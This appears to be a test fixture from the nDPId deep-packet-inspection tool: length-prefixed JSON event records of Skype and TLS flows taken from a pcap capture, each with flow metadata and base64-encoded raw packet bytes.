+00667{"flow_id":249,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1597,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":575504,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"0NQSxnP1PBXCt3IOCABFAADbyBZAAEAGdsjAqAEiF84hpshfAbtO4sWpGQUJ6IAYECzINQAAAQEICj4yX\/vsPkNyFgMBAKIBAACeAwFVWiOCVbYrRciiFbDPyo4FvK6EfrMUp8GvYuL\/j8yxbgAATAD\/VgDAJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAApAAAAEwARAAAOYXBwcy5za3lwZS5jb20ACgAIAAYAFwAYABkACwACAQA="} +00438{"flow_id":127,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1598,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":575563,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0bbFAAEAG+zvAqAEibKCjbMgWAbuJlS5mld0uloAQD\/dhzAAAAQEICj4yX\/thgO0z"} +01739{"flow_id":127,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1599,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":578281,"pkt_caplen":1020,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1020,"pkt_l4_len":986,"pkt":"0NQSxnP1PBXCt3IOCABFAAPup5lAAEAGvZnAqAEibKCjbMgWAbuJlS5mld0uloAYEABxogAAAQEICj4yX\/5hgO0zFwMBACDWPBYQRZuePQM7phDW2Em0w5hEJCrOldQMf2V6Oeu64BcDAQOQ+weRmmCl7NGC029SGnt\/CXQUoCT3NjSz\/jEh52zfUf5fs3QHx6Yjbj4VvHPv1XsKHtfWdO2EReKzN75x8IUeTeSlngeU\/dFqWylY\/qmU+mqt2p0Dpf18oTlRv1A+36f6rtpwBR16Ow2JznD6yAIyuU2+wrqKcJqnvb6C8Lu93hxc4hj2U1sBzEQdZDGVRZMMd8qeoJEk0EnEGZlvJkW0+7R3J1CDvMVW\/JsNY\/CLLuExjs\/+iFg2Ilk1kYxsmtsFoYyzlvHeK3BOpNZ7U6VNDCYAGmFujcN6ExGmPuSuU\/tFb36een5hLpXYJ0SGKeOyXBtGuCWZXL8ZI9ZOzQq9vK12+gsUKrjFMtRifY305Q1pfBk4qBQ1YEof+5fud4+9vAAtUUaCZW3hDGG6AjKB9h4PZANJ7p5Fws26Hul4tKVQcBFJMK3fhSL\/QUtRFxl2ikQoTB3fbUFQDv0eEAfnOVBHYBnEoxWe3ug1wxrYUn4XOU7ePj1Opxvp\/j0vtbgKL2fLEe8vZqRPiv6mLf6KMaSkYlbJoTb8qrmYthal+sT5+ke45r\/jBXVnBAjZWu+ZOaZxaS7bCTmYjfjTw5fAO\/tWkoBnowYlLMMQFKLslNfQrmIdRneV\/lIQGJKMn9LkTm4odOnVP2rjbzdU5pVxmunHoddhl1rvFX+NJTXuDvzhhaKy4QsB0BL\/V\/EmK+Y7QbPDgxNL\/J8LDiG\/WnukBzjMKBfKtZ++yOilNSGi8BwN85P+CWmOEIMznLW6tKWxCmfrt6jN1LYtzY8pXJFiA\/ifh3HG69m2y0Ph66\/xJD400sGlK5xzfnD66P1V8U7UI6ZLrgEo8QevlPO8gqn7pR\/6RXzv07mZBOyRzi8knqIuH7waD64+Iivq0ATw77J0LlVX+MJ2iKjcpLTTFLL6KCUCkbIhYRiYlQRc8VR\/nGV7JZlWc3cptk2YBcWQcCyd73ZgPpyXqz8FfrQ+w0S6+h3okHHsoOpQ30cH0Y0EK5cGySEgEZGvCJjD+mohjJJ3bDEr32P1lHTmc2NETvQVVleyvjHtGD5c0zrU\/Cm0BrGLlgafmJQ28UNJL0h4sVfCl3QbRzfkH5rKnSKSBsNq4uLLHpDuYCJyCJy7y3td3vJm\/t2NHly59gRozGjhu1s5hvPiAuYc8Weq+7W1K2hCkWx6r7KUYCb5asbFK\/Y\/aARdF5oHCzfbeHezgPTc8qMU"} +00449{"flow_id":240,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1600,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":655511,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8+BJAAEAGMSbAqAEiR+4Hy8hZSU+QnysQ5ZyWQIAZECp0GQAAAQEICj4yYEsDHMmEsUo9bapdk3s="} +00449{"flow_id":244,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1605,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":729680,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8wJFAAEAGGYDAqAEiUVNNjchbROcBp2cbGMO5FYAZECk10wAAAQEICj4yYJQAvBW1LtP9fnVyMSs="} +00437{"flow_id":127,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1610,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":798430,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0kcVAADIG5SdsoKNswKgBIgG7yBaV3S6WiZUyIIAQAC5toAAAAQEICmGA7Ws+Ml\/+"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1611,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":1,"flow_first_seen":1431970690890,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.216.125","src_port":51296,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":250,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1611,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":890491,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAtBpAAEAGkJfAqAEiW77YfchgMD4BM37JAAAAALAC\/\/8o9wAAAgQFtAEDAwUBAQgKPjJhMgAAAAAEAgAA"} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1612,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":251,"flow_packet_id":1,"flow_first_seen":1431970690890,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.216.24","src_port":51297,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":251,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1612,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":890943,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAW\/1AAEAG6RnAqAEiW77YGMhhMD6A1I6YAAAAALAC\/\/+Z6gAAAgQFtAEDAwUBAQgKPjJhMgAAAAAEAgAA"} +00437{"flow_id":250,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1614,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":943981,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA0q+NAAPUG49Fbvth9wKgBIjA+yGChcdZWATN+yoASH\/5orwAAAgQFoAEDAwQBAQQC"} +00420{"flow_id":250,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1615,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":944103,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoE35AAEAGMUzAqAEiW77YfchgMD4BM37KoXHWV1AQIACpaAAA"} +00571{"flow_id":250,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1616,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":944643,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"0NQSxnP1PBXCt3IOCABFAACTO9FAAEAGCI7AqAEiW77YfchgMD4BM37KoXHWV1AYIAAfTgAAliIQAjUGskOHyDqko+EfY1BFuSlEGFanrL7shCpnononVJuKO2HJ1ywSd53\/7e24ROXSm5DB\/tecXerTaLmWj\/TVAgtAsS5HTE0aQxipxv+kxTJ78KFet\/w9SrPImfZvVLVi66CRjiesLXo="} +00448{"flow_id":251,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1617,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":945917,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFCAA8AABAADUGUBNbvtgYwKgBIjA+yGFITqRBgNSOmaASOJAFAQAAAgQFrAQCCAoNH3OiPjJhMgEDAwk="} +00436{"flow_id":251,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1618,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":945994,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0JxlAAEAGHgrAqAEiW77YGMhhMD6A1I6ZSE6kQoAQECxb9QAAAQEICj4yYWgNH3Oi"} +00557{"flow_id":251,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1619,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":946529,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"0NQSxnP1PBXCt3IOCABFAACJWJpAAEAG7DPAqAEiW77YGMhhMD6A1I6ZSE6kQoAYECw0xAAAAQEICj4yYWgNH3OipiP8CpaokvL4RVcUyZtmMIVqda5wl\/mM71LzJ1o6r5djXWYjIkqBev3hUEftz6NwJEWy+3Ah3jd8vcozSBl279Q14msgEQ6nLK36o\/gJpl+EJRLb0A=="} +00429{"flow_id":250,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1620,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970690,"pkt_ts_usec":998148,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFCAAojN1AADYGweRbvth9wKgBIjA+yGChcdZXATN\/NVAQA6DFXQAAAAAAAAAA"} +00433{"flow_id":251,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1621,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":950,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA01+1AADUGeC1bvtgYwKgBIjA+yGFITqRCgNSO7oAQAB1roQAAAQEICg0fc7A+MmFo"} +00550{"flow_id":251,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1622,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":1424,"pkt_caplen":150,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":150,"pkt_l4_len":116,"pkt":"PBXCt3IO0NQSxnP1CABFCACI1+5AADUGd9hbvtgYwKgBIjA+yGFITqRCgNSO7oAYAB0FyQAAAQEICg0fc7A+MmFotkGEuyjiwvkC1Yk6yvYWYGWNGijHw3Tmw6lYHBbHXWxha4N55ccXAdnshi7590k89m9UtWLroJGOJ6wteiN4iSbfBKWSW1CBvpdcHYBHhQK\/ZZZ7"} +00434{"flow_id":251,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1623,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":1487,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0aUJAAEAG2+DAqAEiW77YGMhhMD6A1I7uSE6kloAQEClbCwAAAQEICj4yYZ4NH3Ow"} +00446{"flow_id":251,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1624,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":2142,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA80QlAAEAGdBHAqAEiW77YGMhhMD6A1I7uSE6kloAYECnVHgAAAQEICj4yYZ8NH3Ow5U5PVEeeCZo="} +00666{"flow_id":249,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1625,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":41571,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"0NQSxnP1PBXCt3IOCABFAADbs\/tAAEAGiuPAqAEiF84hpshfAbtO4sWpGQUJ6IAYECzGawAAAQEICj4yYcXsPkNyFgMBAKIBAACeAwFVWiOCVbYrRciiFbDPyo4FvK6EfrMUp8GvYuL\/j8yxbgAATAD\/VgDAJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAApAAAAEwARAAAOYXBwcy5za3lwZS5jb20ACgAIAAYAFwAYABkACwACAQA="} +00897{"flow_id":251,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1629,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":341646,"pkt_caplen":401,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":401,"pkt_l4_len":367,"pkt":"0NQSxnP1PBXCt3IOCABFAAGDYOdAAEAG4uzAqAEiW77YGMhhMD6A1I7uSE6kloAYECnVYgAAAQEICj4yYu4NH3Ow5U5PVEeeCZpIIwSmkpxtPWvIQ8ycvXYLJYFHzypUoxCI4WYjUn1+fD\/hEHw\/QclyzkFvzzgC+gTQISL9Gc2pOkm+7\/OxwST+HGNp1LPLG6lujGcE5Y5efc8EkFCg\/zsXT+ZIbYKWoUDRi61OdIxcs1kdUr4ZmxkOXWCJxxDN3OxiEJ+JriDCicgOMiHmUcbTyLC8iJKqBM9\/gpZEaTW\/5N20B2\/GLkJHjFFoRXE07pKWEGQgr6c6gqXuPl3DEjhJckvETpiJ8v+p0qIXRcxs1ht4ZilQkjxIw3S2cnA0p5u+lOChexJvZqWieZkgH5t1pDMw9Xuovqbllekc1lBNq\/GEGTZgDYc\/K9V5zkcHXAC0+1fMaDUI1WM4ewVb5f1GOrOQGU\/l0MoMxFG30yoODyXJi6F+eWg8shWymNPdud0cNGJaiwifLozFkaD5vlA="} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1631,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":252,"flow_packet_id":1,"flow_first_seen":1431970691351,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"82.224.110.241","src_port":51298,"dst_port":38895,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":252,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1631,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":351277,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAcRRAAEAGRgjAqAEiUuBu8chil+9r2DTZAAAAALAC\/\/8RNAAAAgQFtAEDAwUBAQgKPjJi9wAAAAAEAgAA"} +00448{"flow_id":252,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1634,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":419338,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8K7FAAHIGWW9S4G7xwKgBIpfvyGLApWwfa9g02qASIAC5cwAAAgQFrAEDAwgEAggKAAcb7T4yYvc="} +00436{"flow_id":252,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1635,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":419442,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0AnRAAEAGtLTAqAEiUuBu8chil+9r2DTawKVsIIAQECz3yQAAAQEICj4yYzoABxvt"} +00535{"flow_id":252,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1636,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":420001,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"0NQSxnP1PBXCt3IOCABFAAB7Om9AAEAGfHLAqAEiUuBu8chil+9r2DTawKVsIIAYECwDLAAAAQEICj4yYzoABxvtvKHjqKUhFix1K10amiUVskfxpyqy6OCBYtrIu4gGDlX6YWnqfxUIRyvtjz6hvFDealPoORYPdFWCi8AxrsfMzZrDmClGfyQ="} +00549{"flow_id":252,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1637,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":489782,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACDK7JAAHIGWSdS4G7xwKgBIpfvyGLApWwga9g1IYAYAQIgWgAAAQEICgAHG\/Q+MmM6fTMEmcj2ZS8cCzQUZKZFgWbIj81ju0Gl4php1vR6oiM4xoeuU0iw4sLSsOHE06m5SBl279Q14msgEQ6nLK36o\/gJpl+EJRLb0AE+F9ydKg=="} +00436{"flow_id":252,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1638,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":489884,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ri5AAEAGCPrAqAEiUuBu8chil+9r2DUhwKVsb4AQECn26QAAAQEICj4yY4AABxv0"} +00448{"flow_id":252,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1639,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":490424,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8BH5AAEAGsqLAqAEiUuBu8chil+9r2DUhwKVsb4AYECngtgAAAQEICj4yY4AABxv0Y+a7tnpGfD8="} +00449{"flow_id":239,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1640,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":505158,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8ic5AAEAGAXbAqAEiTKehBshYTzLHdCYHEv4ezoAYECqERgAAAQEICj4yY46+r7k1zWOVyLN8y6I="} +00430{"flow_id":250,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1641,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":584256,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFCAAoq\/ZAAPUG48pbvth9wKgBIjA+yGChcdZXATN\/NVAUJeWjFAAAAAAAAAAA"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1642,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":253,"flow_packet_id":1,"flow_first_seen":1431970691584,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.216.125","src_port":51299,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":253,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1642,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":584569,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA+lxAAEAGSlXAqAEiW77YfchjMD4Tm3MJAAAAALAC\/\/8foQAAAgQFtAEDAwUBAQgKPjJj3QAAAAAEAgAA"} +00437{"flow_id":253,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1646,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":636628,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA0Yg5AAPUGLadbvth9wKgBIjA+yGMdRKLvE5tzCoASH\/4ZmQAAAgQFoAEDAwQBAQQC"} +00421{"flow_id":253,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1647,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":636736,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAosdpAAEAGku\/AqAEiW77YfchjMD4Tm3MKHUSi8FAQIABaUgAA"} +00429{"flow_id":253,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1648,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":636848,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"0NQSxnP1PBXCt3IOCABFAAAt\/S9AAEAGR5XAqAEiW77YfchjMD4Tm3MKHUSi8FAYIABDQgAAFgMBAAA="} +00429{"flow_id":253,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1651,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":688253,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFCAAoYg9AAPUGLbJbvth9wKgBIjA+yGMdRKLwE5tzD1AQA\/92TgAAAAAAAAAA"} +00429{"flow_id":253,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1652,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":688839,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFCAAo0ntAADYGfEZbvth9wKgBIjA+yGMdRKLwE5tzD1AQA\/92TgAAAAAAAAAA"} +00481{"flow_id":222,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1654,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":704530,"pkt_caplen":99,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":99,"pkt_l4_len":65,"pkt":"0NQSxnP1PBXCt3IOCABFAABVQcpAAEAGrjrAqAEinTfrnMhRAbsdDAEeNXDb94AZECxBKgAAAQEICj4yZFJMXOVgRJ52DFIu7cAK7Gpc8dNzIO4YY2vVOHQu5N+2IqCrL00y"} +00492{"flow_id":221,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1655,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":704531,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABaP+1AAEAGsBzAqAEinTfrkshQAbtIMwmq6zPtWYAZECxhYAAAAQEICj4yZFJMYODx4TzV3\/Y4WDPH3tpvaLZcP8pol15k+DSkUSs81WKefnkA99PxSe0="} 